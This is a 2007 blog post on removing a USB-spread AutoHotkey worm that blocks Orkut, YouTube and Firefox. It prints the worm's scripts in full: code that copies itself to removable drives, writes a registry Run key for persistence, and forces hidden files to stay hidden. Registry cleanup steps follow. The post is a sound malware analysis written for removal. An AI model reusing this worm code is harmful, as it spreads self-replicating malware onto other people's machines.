Monday, November 5, 2007

How to kill Orkut worm?

Yesterday, my friend Rishi gave me a usb disk and asked me to copy some movies and music into the disk. I took it home and plugged the USB into my system and scanned it with nod32. I detected some viruses which it removed successfully, least I knew that there was another worm which didn’t get detected and it was in to infect my system. I double clicked the USB drive and nothing happened. Hmm strange.. I right clicked and opened the USB drive and found there was no content. Autoplay appears only if there is a Autorun.inf file present in the root of the drive. I didn’t care it much and closed the window to copy data into the drive later.I wanted to check my mail so ran my beloved browser Firefox, it opened and with in couple of seconds a message box popped up which said ” “I DNT HATE MOZILLA BUT USE IE OR ELSE…” and the header read “USE INTERNET EXPLORER YOU DOPE.” I was like what? It also terminated Firefox . This is when I remembered the Autoplay option in the usb drive. This is when I had to open Internet Explorer and Google this text and found the worm name is w32.USBWorm (it was now obvious). Next step was to search for a Removal Tool and to my amazement there was none available!! Nor I could find any information on how to remove it. I decided to give myself a try to remove this worm. I tried opening orkut and Bang another surprise. This is the message it popped up ” ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did?? ” now this is pissing me off. Now, i had no other option but to remove this worm from my system. I pressed ctrl+alt+del and found nothing suspesious there .
Lets see what this worm does
It runs a exe file which is name MicrosoftPowerpoint.exe which is located in the USB disk. The autorun.inf runs this file when double clicked. Once this program is run you are infected. It hides all your hidden folders, runs the process in the memory, makes the worm to start with windows and pops those annoying messages. This worm doesn’t destroy any system files. It just infects other USB drives and spreads to new hosts.
It’s time to KILL the Worm
I have PE Tools installed in my PC i ran to find out the running process. I went through all the process and found out that svchost.exe was the one responsible for it. Where PE tools helped me was, svchost.exe was running from a location C:\heap41a . So this is where the worm resides, hmm interesting now deleting the folder would do our task. But it was not so easy, as I terminated this process svchost.exe from the process list it would start again. So I had to boot my XP in safe mode. Why in safe mode is because in safe mode windows loads only the minimum required drivers and doesn’t load any user process, so this means the worm is not started with the windows. Now I searched the folder C:\heap41b but it was hidden. I went to Tools>folder option and select Show all files and folders and pressed ok. I refreshed the c:\ only to find that it won’t show any hidden folders. I again went to the Tools>folder and found the setting of Show all files and folders was reseted. Now how do I see the content, what I did was went to windows search and in advanced option I gave search hidden files and folders and gave svchost.exe as the search keyword. Bang it searched it, so I opened the folder to find out this file was not alone, the other files in this Folder were [offspring], 2.mp3, Icon.ico, reproduce.txt, svchost.exe, drivelist.txt, script1.txt, std.txt . Lets see the content of these text files.
[offspring] - Blank Folder
2.mp3 - A laughing sound
Icon.ico - A blank Icon file
reproduce.txt
#notrayicon#persistentArrayCount = 0Loop, Read,C:\heap41a\driveList.txt{ArrayCount += 1Array%ArrayCount% := A_LoopReadLine}dat1=%userprofile%settimer,reproduce,5000return
reproduce:
Loop %ArrayCount%{
element := Array%A_Index%driveget,data,Type,%element%:\ifequal,data,Removable{driveget,data1,status,%element%:\ifequal,data1,Ready{FileCopydir,C:\heap41a\offspring,%element%:\,1
}
}}regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\Explorer\Run,winlogonifnotequal,regdata,C:\heap41a\svchost.exe C:\heap41a\std.txtRegwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\Explorer\Run,winlogon,C:\heap41a\svchost.exe C:\heap41a\std.txtreturn
svchost.exe
This is the file that is the culprit. The file responsible for all the annoying pop ups
script1.txt
#persistent#notrayiconsettimer,ban,2000return
ban:WinGetActiveTitle, edifinstring,ed,orkut{winclose %ed%soundplay,C:\heap41a\2.mp3msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ifinstring,ed,youtube{winclose %ed%soundplay,C:\heap41a\2.mp3msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ifinstring,ed,Mozilla Firefox{winclose %ed%msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA BUT USE IE `r OR ELSE…,30return}ifwinactive ahk_class IEFrame{
ControlGetText,ed,edit1,ahk_class IEFrameifinstring,ed,orkut{winclose ahk_class IEFramesoundplay,C:\heap41a\2.mp3msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ControlGetText,ed,edit2,ahk_class IEFrameifinstring,ed,orkut{winclose ahk_class IEFramesoundplay,C:\heap41a\2.mp3msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ControlGetText,ed,edit3,ahk_class IEFrameifinstring,ed,orkut{winclose ahk_class IEFramesoundplay,C:\heap41a\2.mp3msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ControlGetText,ed,edit4,ahk_class IEFrameifinstring,ed,orkut{winclose ahk_class IEFramesoundplay,C:\heap41a\2.mp3msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ControlGetText,ed,edit1,ahk_class IEFrameifinstring,ed,youtube{winclose ahk_class IEFramesoundplay,C:\heap41a\2.mp3msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ControlGetText,ed,edit2,ahk_class IEFrameifinstring,ed,youtube{winclose ahk_class IEFramesoundplay,C:\heap41a\2.mp3msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ControlGetText,ed,edit3,ahk_class IEFrameifinstring,ed,youtube{winclose ahk_class IEFramesoundplay,C:\heap41a\2.mp3msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}ControlGetText,ed,edit4,ahk_class IEFrameifinstring,ed,youtube{winclose ahk_class IEFramesoundplay,C:\heap41a\2.mp3msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30return}
}return
std.txt
#notrayicon#singleinstance,ignoreregread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalueifnotequal,regdata,2regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,2Run C:\heap41a\svchost.exe C:\heap41a\script1.txtRun C:\heap41a\svchost.exe C:\heap41a\reproduce.txt
These files gave away all that this worm does, after reading the script I found out that this worm also hates Youtube lol.. Most important information it gave was the Registery Keys it modified.
These are the keys that were responsible for the hidden folder problem I faced earlier
regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalueifnotequal,regdata,2regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\
Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,2
Now to rectify this go to Start Menu>Run and type regedit . In the Registry Editor browse to this entry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL and in the “Checked all” key reset it back to 1 from 2. Now you can change the settings in the folders option. Now delete the folder C:\heap41a and clear all the key entries from this registry entry HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\Explorer\Run which says heap41a.
Now the virus infection is removed 100%. Before you are done make sure you format the usb drive it doesn’t infect other systems too.

No comments: